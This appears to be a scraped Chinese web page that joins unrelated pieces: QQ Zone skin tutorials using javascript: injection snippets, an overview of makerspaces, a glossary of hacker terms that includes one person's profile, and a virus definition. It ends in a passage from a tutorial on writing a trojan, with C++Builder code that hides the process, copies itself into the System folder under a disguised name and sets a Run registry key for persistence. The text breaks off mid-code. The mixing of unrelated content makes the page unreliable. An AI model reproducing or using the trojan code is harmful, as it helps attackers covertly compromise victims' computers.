QQ空间设计
装扮空间——自定义——新建模块
输入新模块名字,比如鼠标,背景等。提交。
然后出现新的对话框,把代码写入评论一栏,其他栏清空。提交。
完成后,保存。
1.qq空间皮肤背景代码:QQ空间不用Q币更换主页皮肤方法
下面是更换QQ皮肤的新代码(2005年11月29日测试可用):
img src="javascript:document.getElementById('Mlogo').style.background='url(http://顶部一条图片地址)';document.getElementById('all').style.background='url(http://背景图片地址)';"
如果你不想改顶部图片条的话只要这样就够了:
img src="javascript:document.getElementById('all').style.background='url(http://背景图片地址)';"
设置顶部图片条透明度:
img src="javascript:Mlogo.style.filter='alpha(opacity=30)';"
把30用0-100中喜欢的不透明度代替。100为不透明,0为完全看不见的透明。
我们只要把上面代码中的两处“图片地址”,更改你自己喜欢的皮肤地址,就可以了,同样代码都是加到评论里,(提醒:代码中有两处地址,都要改, 那些代码是要放在新建的模块(当然,也可以在你原有的新建模块里增加一个项目)里的评论里的(自定义-个性模块--新建模块-板块名称-网页对话筐-评论-(图片栏和地址栏的http要删除) -点个保存方式-保存-关于做出来得模块,我们要隐藏它)
那么要怎么样才知道皮肤的网络地址呢?
首先 我们先进入:QQ个人空间—装扮空间-皮肤-看到自己自己喜欢的皮肤点右键-属性-可以看到皮肤地址(请注意那并不是放入皮肤代码的皮肤网络地址)
例如,网络位置:http://imgcache.qq.com/qzone/item/orig/2/50.gif
比如上图-现在:我们右键点皮肤小图片的,属性,看地址那拦,对照一下和皮肤网络位置的地址有什么区别,嘻嘻~看出来了吧,pre/2/50.gif和orig/2/50.gif不一样哦,也就是说只要我们把装扮空间里的皮肤地址里的pre—改为orig
例如:http://imgcache.qq.com/qzone/item/pre/12/844.gif (商场装扮空间里的皮肤展示的地址)
改为:http://imgcache.qq.com/qzone/item/orig/12/844.gif(实际的皮肤图片地址)
注意:由于腾讯QQ空间方面做了限制,通过以上方法得到的皮肤图片地址如果直接用到代码里面是无法显示的。
免费的东西难道又没得用了?有一个方法,如果我们把皮肤图片文件下载下来,上传到别的网页空间再调出来,是可以显示的。例如上面这个,上传到本站,得到地址:http://www.qqjia.com/learn/qq2005/q-zone/bk.jpg,所以,代码就是:
img src="javascript:document.getElementById('all').style.background='url(http://www.qqjia.com/learn/qq2005/q-zone/bk.jpg)';"
你可以用以上方法下载了QQ空间里的图片文件后上传到免费的网页空间去(例如论坛、博客等)得到图片文件的地址。当然,你也可以用你在网页上看到的任何图片做皮肤,看到喜欢的图片点右键-属性-地址-复制,OK,HOHO,喜欢什么皮肤想换就换,很简单吧~
2.QQ空间代码之QQ空间导航代码
什么是QQ空间导航?看右边这个图,就是“主页”、“日志”这些东西,每个人的都一样,是不是很没有个性啊?好的,就改改他。先看这个自定义字的导航代码:
img src="javascript:bt_1.innerText='主 页';bt_2.innerText='日记簿';bt_3.innerText='音乐厅';bt_4.innerText='留言簿';bt_5.innerText='相册集';bt_6.innerText='过家家';bt_7.innerText='主人家';bt_8.innerText='谁踩我';"
这代码里面的中文字可以随便改,但是不要超过3个中文字,多了就不好看了。
是不是觉得文字的还不过瘾,好,下面来看FLASH的。先来看全屏显示的FLASH的代码:
img src="javascript:document.getElementById('Mlogo').innerHTML+='div style=\'position:absolute;top:0;left:0;\'EMBED src=\'地址\' quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'/div';"
这个代码里“WIDTH=\'925\' HEIGHT=\'655\'”是FLASH的宽度和高度,可根据FLASH的大小和位置以及在QQ空间出现的地方调整,“\'地址\'”就是FLASH导航文件的地址,这个地址去那里找呢?网上有很多,我找了一个做示范,看这个地址:http://www.qqjia.com/learn/qq2005/q-zone/jia1.swf,那么代码就是:
img src="javascript:document.getElementById('Mlogo').innerHTML+='div style=\'position:absolute;top:0;left:0;\'EMBED src=\'http://www.qqjia.com/learn/qq2005/q-zone/jia1.swf\';;;;;;;;;;;;;;;;;;;;; quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'/div';"
上面的这个导航是放在右边的,如果是放在上面的导航条,例如这个:http://www.qqjia.com/learn/qq2005/q-zone/jia2.swf,那 HEIGHT 选65就可以了,代码为:
img src="javascript:document.getElementById('Mlogo').innerHTML+='div style=\'position:absolute;top:0;left:0;\'EMBED src=\'http://www.qqjia.com/learn/qq2005/q-zone/jia2.swf\';;;;;;;;;;;;;;;;;;;;; quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'65\' TYPE=\'application/x-shockwave-flash\'/div';"
如果你想将原来的导航条去掉,请看清除导航条代码:
img src="javascript:bt_1.style.display='none';bt_2.style.display='none';bt_3.style.display='none';bt_4.style.display='none';bt_5.style.display='none';bt_6.style.display='none';bt_7.style.display='none';bt_8.style.display='none';" style="display:none;"
假如有人只想去掉其中一个或多个导航,可以这样改,举个例子:比如去掉迷你屋,按顺序来排的话迷你屋的序号是6,所以,可以将代码改成:
img src="javascript:bt_6.style.display='none'" style="display:none;"
如果你想将设置顶部图片去掉,腾出空间放导航条,可用请看代码:
img src="javascript:Mlogo.style.filter='alpha(opacity=0)';"
注意:去掉以后就看不到“自定义”三个字了,如果你想修改QQ空间的话,就朝大概的那个位置点移动鼠标,看见鼠标变成了可以点击的图案就可以了。不要告诉我你大概都不在哪里吧?
如果想重新显示导航条和顶部图片,将代码删除就可以了。
以下是笔者整理出来的QQ空间的部分FLASH导航条,欢迎大家选用:
http://www.qqjia.com/learn/qq2005/q-zone/t1.swf
http://www.qqjia.com/learn/qq2005/q-zone/t2.swf
http://www.qqjia.com/learn/qq2005/q-zone/t3.swf
http://www.qqjia.com/learn/qq2005/q-zone/t4.swf
http://www.qqjia.com/learn/qq2005/q-zone/t5.swf
http://www.qqjia.com/learn/qq2005/q-zone/t6.swf
http://www.qqjia.com/learn/qq2005/q-zone/m1.swf
http://www.qqjia.com/learn/qq2005/q-zone/m2.swf
http://www.qqjia.com/learn/qq2005/q-zone/m3.swf
http://www.qqjia.com/learn/qq2005/q-zone/m4.swf
http://www.qqjia.com/learn/qq2005/q-zone/m5.swf
http://www.qqjia.com/learn/qq2005/q-zone/m6.swf
使用方法:
在空间首页选择自定义,再点建立新模块,然后把代码写在“评论”这一栏里,其他的可以全部不填。可以参考里QQ空间皮肤代码里的使用说明,是一样的。
3.QQ空间代码之QQ空间透明Flash背景代码
先来看全屏显示的FLASH的代码:
img src="javascript:document.getElementById('Mlogo').innerHTML+='div style=\'position:absolute;top:0;left:0;\'EMBED src=\'地址\' quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'/div';"
WIDTH:透明FLASH宽度
HEIGHT:透明FLASH高度
top:透明FLASH与空间顶端的距离
left:透明FLASH与空间左端的距离
以上参数可根据FLASH的大小和位置以及在QQ空间出现的地方调整,不过要想全屏显示的就话就用上面的参数就可以了。这个代码里其实和QQ空间导航代码里的是一样的,只是用途不同,找到合适的FLASH地址就可以了。这个地址去那里找呢?网上有很多,我找了一个做示范,看这个地址:http://qqjia.com/learn/qq2005/q-zone/bk.swf,那么代码就是:
img src="javascript:document.getElementById('Mlogo').innerHTML+='div style=\'position:absolute;top:0;left:0;\'EMBED src=\'http://qqjia.com/learn/qq2005/q-zone/bk.swf\';;;;;;;;;;;;;;;;;;;;; quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'/div';"
以下是笔者整理出来的QQ空间的部分透明FLASH地址,就不介绍了,大家自己看,喜欢就拿去。
http://imgfree.21cn.com/free/flash/1.swf
http://imgfree.21cn.com/free/flash/2.swf
http://imgfree.21cn.com/free/flash/3.swf
http://imgfree.21cn.com/free/flash/36.swf 性感的唇
http://imgfree.21cn.com/free/flash/42.swf 蒲公英
http://imgfree.21cn.com/free/flash/25.swf 蚂蚁
http://imgfree.21cn.com/free/flash/29.swf 蓝色的水
http://imgfree.21cn.com/free/flash/23.swf 雪花飘
http://imgfree.21cn.com/free/flash/41.swf 雪花飘
http://imgfree.21cn.com/free/flash/40.swf
http://imgfree.21cn.com/free/flash/45.swf
http://imgfree.21cn.com/free/flash/46.swf
http://imgfree.21cn.com/free/flash/53.swf
http://imgfree.21cn.com/free/flash/33.swf
http://imgfree.21cn.com/free/flash/51.swf
http://imgfree.21cn.com/free/flash/52.swf 枫叶飘
http://imgfree.21cn.com/free/flash/53.swf
http://imgfree.21cn.com/free/flash/54.swf 黑客帝国
http://imgfree.21cn.com/free/flash/57.swf
http://imgfree.21cn.com/free/flash/58.swf
http://imgfree.21cn.com/free/flash/59.swf
http://imgfree.21cn.com/free/flash/61.swf 心
http://imgfree.21cn.com/free/flash/62.swf 烟花
http://imgfree.21cn.com/free/flash/63.swf
http://imgfree.21cn.com/free/flash/64.swf
http://imgfree.21cn.com/free/flash/66.swf 漂亮
http://imgfree.21cn.com/free/flash/68.swf
http://imgfree.21cn.com/free/flash/69.swf
http://imgfree.21cn.com/free/flash/70.swf
http://imgfree.21cn.com/free/flash/71.swf
http://imgfree.21cn.com/free/flash/73.swf
http://imgfree.21cn.com/free/flash/74.swf
http://imgfree.21cn.com/free/flash/75.swf 跟着鼠标动的烟火
http://imgfree.21cn.com/free/flash/77.swf
http://imgfree.21cn.com/free/flash/78.swf 时间
http://imgfree.21cn.com/free/flash/80.swf
http://imgfree.21cn.com/free/flash/81.swf 火
http://imgfree.21cn.com/free/flash/84.swf
http://imgfree.21cn.com/free/flash/85.swf
http://imgfree.21cn.com/free/flash/86.swf
http://imgfree.21cn.com/free/flash/97.swf
http://imgfree.21cn.com/free/flash/107.swf
http://imgfree.21cn.com/free/flash/108.swf
http://imgfree.21cn.com/free/flash/110.swf
http://imgfree.21cn.com/free/flash/113.swf
http://imgfree.21cn.com/free/flash/115.swf 跟着鼠标走的鱼
http://imgfree.21cn.com/free/flash/117.swf
http://imgfree.21cn.com/free/flash/119.swf
http://imgfree.21cn.com/free/flash/121.swf
http://imgfree.21cn.com/free/flash/123.swf
http://imgfree.21cn.com/free/flash/126.swf
http://imgfree.21cn.com/free/flash/128.swf 眼镜
http://imgfree.21cn.com/free/flash/129.swf 下雨了
http://imgfree.21cn.com/free/flash/130.swf 跟着鼠标的白色花
http://imgfree.21cn.com/free/flash/131.swf 枫叶
http://imgfree.21cn.com/free/flash/132.swf
http://imgfree.21cn.com/free/flash/136.swf
使用方法:
在空间首页选择自定义,再点建立新模块,然后把代码写在“评论”这一栏里,其他的可以全部不填。可以参考里QQ空间皮肤代码里的使用说明,是一样的
众创空间在国外是怎样的
经过多年的发展,国内外已经把众创空间发展推到了一个比较成熟的阶段。在十多年前,国外Fab Lab、Hackspace、TechShop、Makerspace等各种类似形式的众创空间就已经逐步形成,对科技创新产生了深刻的影响。应对知识社会创新2.0机遇,国内也就用户参与创新、以及众创空间建设进行了积极探索,早期的“三验”AIP应用创新园区作为城域开放众创空间的探索还与Living Lab、Fab Lab一起被称为三大典型的创新2.0模式。随着Fab Lab、Maker等概念被引入中国,更多创客空间开始涌现,如北京创客空间、上海新车间、深圳柴火空间、杭州洋葱胶囊等,发展也各具特色。国际上众创空间发展比较有代表性的有以下几种:
1、Fab Lab
Fab Lab即微观装配实验室(Fabrication Laboratory),是美国麻省理工学院(Massachusetts Institute of Technology,简称MIT)比特与原子研究中心发起的一项新颖的实验——一个拥有几乎可以制造任何产品和工具的小型的工厂。Fab Lab的最初灵感来源于哲申费尔德教授于1998年在MIT开设的一门课程——“如何能够创造任何东西”,这很快成为他最受欢迎的一门课。没有技术经验的学生们在课堂上创造出很多令人印象深刻的产品,如为鹦鹉制作的网络浏览器,收集尖叫的盒子,保护女性人身安全的配有传感器和防御性毛刺的裙子等等。可以制造任何想要的东西,学生们为此而兴奋不已,而这种可以实现随心所欲的个性化需求的目标,也逐渐成为Fab Lab萌芽的创新研究理念,引领了从个人通信、个人计算迈向个人设计、个人制造、群体创造的创新2.0浪潮。《Fab Lab创新模式及其启示》一文即介绍了遍布美国、南非、印度、挪威等国社区、田间、学校的Fab Lab全球网络如何通过个人制造和知识共享推动用户创新、大众创新,解决人们身边的社会问题并孵化小微创业。
2、Living Lab
欧盟于2006年11月发起了Living Labs网络,它是通往欧盟创新系统关键一步。它的一个核心价值是改善和增加研发转移的洞察力和新的科技成果转化为现实世界的应用和解决方案的动力。它采用新的工具和方法、先进的信息通讯技术等手段来调动方方面面的“集体的智慧和创造力”,为解决社会问题提供机会。Living Lab是欧盟“知识经济”中最具激发性的模式之一,它强调以人为本、以用户为中心和开放创新、共同创新。Living Lab立足于本地区的工作和生活环境,以科研机构为纽带,建立以政府、广泛的企业网络以及各种科研机构为主体的开放创新社会。Living Lab通过现实生活中以用户为中心的移动泛在服务及技术的设计和开发方法,整合用户、应用环境、技术与基础设施、组织和方法、专家体系等方面构建了一个服务体系,强调技术测试、应用开发、用户参与、市场分析等多种创新需求在真实生活环境中的有机融合。Living Lab 作为一种社会创新工具与区域创新平台,以用户为中心整合多种资源推动各方参与的开放创新,使得研发机构、企业、相关社会组织以及个人用户与用户群体都可以从丰厚的城市各类资源及区域环境中受惠。
3、c-base
c-base e.V。是一个设在德国柏林的非营利性协会,成立于1995年,目前约450名成员。该协会的目的是提升计算机软件、硬件和数据网络的知识和技能。成立以来,c-base从事了大量的相关活动。例如,一般的节假日,如儿童节,他们会在那里给小朋友介绍机器人和计算机辅助设计等主题。c-base的总部,有时也会为柏林附近的其他团体活动提供支持。c-base被确认为世界上的第一个独立、单机的Hackerspaces,因为它不隶属于任何学校或企业。
4、Hackerspace
Hackerspace的概念始于欧洲程序设计师(以前称之为“黑客”)的聚会。2007年8月(欧洲掀起这波潮流的12年后),一群北美的黑客到德国参加Chaos Communication Camp。他们在当地燃起想在美国设立同类场所的决心,于是就在回国后创办了许多黑客空间,NYC Resistor(2007)、HacDC(2007)和Noisebridge(2008)等都包括在内。这些地方很快就用来设计及制造电子回路(从他们原本就感兴趣的程序设计起步),顺应自身兴趣做出实体原型,开设教室,发展活动以募集会费,添购使用的工具。
Hackerspace在中国被叫做创客空间,2010年创客空间进入中国,向硬件高手,电子艺术家,设计师,DIY爱好者和所有喜欢自己动手捣鼓各种东西的人提供了一个开放式社区,根据兴趣共同开发有趣和富有意义的项目,同时还举办包括电子、嵌入式系统、编程和机器人等不同主题研讨会和培训,并提供运营代理、融资支持和销售平台等运营服务,使得项目能够产品化,走进人们的日常生活。据估算,目前全球已经有1000多家创客空间,在中国约有六七家,分布在北京、上海、杭州、深圳等地。
5、TechShop
TechShop是一家基于会员制工作坊而组成的社区,可以为会员提供可供使用的工具、设备,教学、创作以及支持人员,以便创造他们一直想创造的东西。这里的器具包括:铣床、车床、焊接台、离子切割机、金属板材加工设备、钻孔机、锯、工业缝纫机、手工具、塑料加工设备等等。对于那些喜欢自己动手做东西,或者是做些发明创造,却苦于找不到合适的器材, Techshop是一个理想的地方。它聚集了众多来自民间的创新想法,让创新者把原始的想法做成原型,甚至做成一个完整的产品。
6、Metalab
在维也纳,Metalab作为一个成功的Hackerspace名震一时。它成立于2006年,现在已经成为维也纳的一个高科技社区聚会场所。Metalab的主要项目包括提供基础设施、提供IT、新媒体、数字艺术、网络艺术和黑客文化等领域的物理空间,为技术创意的爱好者、创客、创始人和数字艺术家之间的合作提供服务。如今,Metalab已经成为全球Hackerspace运动的催化剂,是多家互联网创业公司的发源地。
7、Makerspace
Makerspace就是一个配备工具的社区中心。它为社区提供了制造设备,并为社区成员进行必要的培训,帮助他们利用现有资源进行设计、建模,并制作出那些无法靠个人力量完成制作的作品。Makerspace可以是一群有相同兴趣的人们互相分享空间和工具的兴趣团体,也可以是商业公司或非盈利公司,还可以是学校或图书馆等的附属组织。所有类型的Makerspace都是为了能整合制造设备资源,形成社区,进行相关培训,但其组织形式却迥然不同。
参考资料:
本刊编辑部. 创新2.0时代的众创及众创空间国内外发展[J]. 办公自动化, 2016(6):26-29.
黑客是什么意思
黑客
一名黑客(hacker)是一个喜欢用智力通过创造性方法来挑战脑力极限的人,特别是他们所感兴趣的领域,例如电脑编程或电器工程。
黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的。但在媒体报导中,黑客一词往往指那些“软件骇客”(software cracker)。
黑客一词,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。
但到了今天,黑客一词已被用于泛指那些专门利用电脑搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”。
黑客和骇客根本的区别是:黑客们建设,而骇客们破坏。
黑客一词一般有以下四种意义:
一个对(某领域内的)编程语言有足够了解,可以不经长时间思考就能创造出有用的软件的人。
一个恶意(一般是非法地)试图破解或破坏某个程序、系统及网络安全的人。这个意义常常对那些符合条件(1)的黑客造成严重困扰,他们建议媒体将这群人称为“骇客”(cracker)。有时这群人也被叫做“黑帽黑客”。
一个试图破解某系统或网络以提醒该系统所有者的系统安全漏洞。这群人往往被称做“白帽黑客”或“匿名客”(sneaker)或红客。许多这样的人是电脑安全公司的雇员,并在完全合法的情况下攻击某系统。
一个通过知识或猜测而对某段程序做出(往往是好的)修改,并改变(或增强)该程序用途的人。
“脚本小孩”则指那些完全没有或仅有一点点骇客技巧,而只是按照指示或运行某种骇客程序来达到破解目的的人
著名黑客
Richard Stallman--传统型大黑客,Stallman在1971年受聘成为美国麻省理工学院人工智能实验室程序员。
Ken Thompson和Dennis Ritchie--贝尔实验室的电脑科学操作组程序员。两人在1969年发明了Unix操作系统。
John Draper(以咔嚓船长,Captain Crunch闻名)--发明了用一个塑料哨子打免费电话
Mark Abene(以Phiber Optik而闻名)--鼓舞了全美无数青少年“学习”美国内部电话系统是如何运作的
Robert Morris--康奈尔大学毕业生,在1988年不小心散布了第一只互联网蠕虫。
Kevin Mitnick--第一位被列入fbi通缉犯名单的骇客。
Kevin Poulsen--Poulsen于1990年成功地控制了所有进入洛杉矶地区KIIS-FM电台的电话线而赢得了该电台主办的有奖听众游戏。
Vladimir Levin--这位数学家领导了俄罗斯骇客组织诈骗花旗银行向其分发1000万美元。
Steve Wozniak--苹果电脑创办人之一。
Tsotumu Shimomura--于1994年攻破了当时最著名黑客Steve Wozniak的银行帐户。
Linus Torvalds--他于1991年开发了著名的Linux内核,当时他是芬兰赫尔辛基大学电脑系学生。
Johan Helsingius--黑尔森尤斯于1996年关闭自己的小商店后开发出了世界上最流行的,被称为“penet.fi"的匿名回函程序,他的麻烦从此开始接踵而至。其中最悲惨的就是sceintology教堂抱怨一个penet.fi用户在网上张贴教堂的秘密后芬兰警方在1995年对他进行了搜查,后来他封存了这个回函程序。
Tsutomu Shimomura--能记起他是因为抓了米特尼克。
Eric Raymond--Eric Raymond就一直活跃在计算机界,从事各种各样的计算机系统开发工作。同时,Eric Raymond更热衷于自由软件的开发与推广,并撰写文章、发表演说,积极推动自由软件运动的发展,为自由软件作出了巨大贡献。他写的《大教堂和市集》等文章,是自由软件界的经典美文,网景公司就是在这篇文章的影响下决定开放他们的源代码,使浏览器成为了自由软件大家族中的重要一员.
一.什么是黑客
在力求当一个黑客前,我们要先了解什么是黑客
Hacker -- 黑客
热衷研究、撰写程序的专才,且必须具备乐于追根究底、穷究问题的特质。
在黑客圈中,hacker一词无疑是带有正面的意义,例如system hacker熟悉操作系统的设计与维护;password hacker精于找出使用者的密码,若是computer hacker则是通晓计算机,可让计算机乖乖听话的高手。
黑客基本上是一项业余嗜好,通常是出于自己的兴趣,而非为了赚钱或工作需要。
根据开放原始码计划创始人Eric Raymond对此字的解释,hacker与cracker是分属两个不同世界的族群,基本差异在于,hacker是有建设性的,而cracker则专门搞破坏。
hacker原意是指用斧头砍材的工人,最早被引进计算机圈则可追溯自1960年代。
加州柏克莱大学计算机教授Brian Harvey在考证此字时曾写到,当时在麻省理工学院中(MIT)的学生通常分成两派,一是tool,意指乖乖牌学生,成绩都拿甲等;另一则是所谓的hacker,也就是常逃课,上课爱睡觉,但晚上却又精力充沛喜欢搞课外活动的学生。
这跟计算机有什么关系?一开始并没有。不过当时hacker也有区分等级,就如同tool用成绩比高下一样。真正一流hacker并非整天不学无术,而是会热衷追求某种特殊嗜好,比如研究电话、铁道(模型或者真的)、科幻小说,无线电,或者是计算机。也因此后来才有所谓的computer hacker出现,意指计算机高手。
对一个黑客来说,学会入侵和破解是必要的,但最主要的还是编程,毕竟,使用工具是体现别人的思路,而程序是自己的想法.一句话--编程实现一切!
对于一个骇客来说,他们只追求入侵的快感,不在乎技术,他们不会编程,不知道入侵的具体细节.
"黑客"在人们脑中的形象就是一个蓬头乱发,戴着高度眼镜,驼着背弓着腰,成天趴在电脑面前的人.其实黑客和正常人一模一样,他们并无什么特殊之处.有些人也许很少上电脑,成天运动,工作,但他们的技术和精神已经达到的黑客的标准,有些人天天爬在电脑前,到处瞎混,但他们仍不是黑客.
人们总是认为黑客就是破坏者,其实从某种意义上来说,黑客也在为计算机技术的发展做出很大的贡献.如果没有高明的黑客,就没有资深的网管;如果没有完美的木马,就没有杰出的杀毒软件;没有了黑客,网络技术就很难发展下去.当然,网管其实也是黑客,如果他不知道别人怎么进攻,自己要怎么防守呢??
黑客一词在圈外或媒体上通常被定义为:专门入侵他人系统进行不法行为的计算机高手。不过这类人士在hacker眼中是属于层次较低的cracker(骇客)。如果黑客是炸弹制造专家,那么CRACKER就是恐怖分子.
现在,网络上出现了越来越多的Cracker,他们只会入侵,使用扫描器到处乱扫,用IP炸弹炸人家,毫无目的地入侵,破坏着,他们并无益于电脑技术的发展,反而有害于网络的安全和造成网络瘫痪,给人们带来巨大的经济和精神损失.
我们不能做Cracker,我们要力求当HACKER!!
二.HACKING的预备网络知识
1.什么是IP
IP就是一个地址,在外网没有一个IP是相同的,它就像身份证号码一样,给每台进入网络的电脑一个身份证号码.但是对于大部分用户来说,这个号码是不固定的,在你重新连接到INTERNET时,IP可能会被重新分配.不过有些机器申请了固定的IP,这样就便于其他电脑找到它,并提供服务.一般的IP的格式为: a.b.c.d (0 = a,b,c,d = 255)(该格式为点分10进制)例如 218.242.161.231 , IP的标准形式是2进制形式,例如212.13.123.52的2进制是110101000000000011010111101100110100 ..... 由192.168开头的是局域网的IP,127.0.0.1是用来检测网络的自己的IP.就是说任何一台电脑来说,不管是否连接到INTERNET上,127.0.0.1对于自己来说都是自己.就是说,每台电脑都是由4位的256进制数或32位的2进制数组成的.
2.什么是网络协议,数据包
网络协议就是一套双方约定好的通信协议.就像对暗号一样,有特定的约定来达成连接.其中的"数据包就是一个一个
凌天--曹志
凌天成员 曹志 个人档案
英文名:没有
生日:8月29日
籍贯:湖南 身高:170 CM
QQ:910279447
体重:70 KG
血型:B
星座:天蝎座
学历:中专
特长:空间设计 网络技术 黑客技术
爱好:KTV、泡网、交友
家庭成员:父母、
个人理想:做一个成功的人,有自己的梦想
最喜欢的歌手:王梓旭
什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
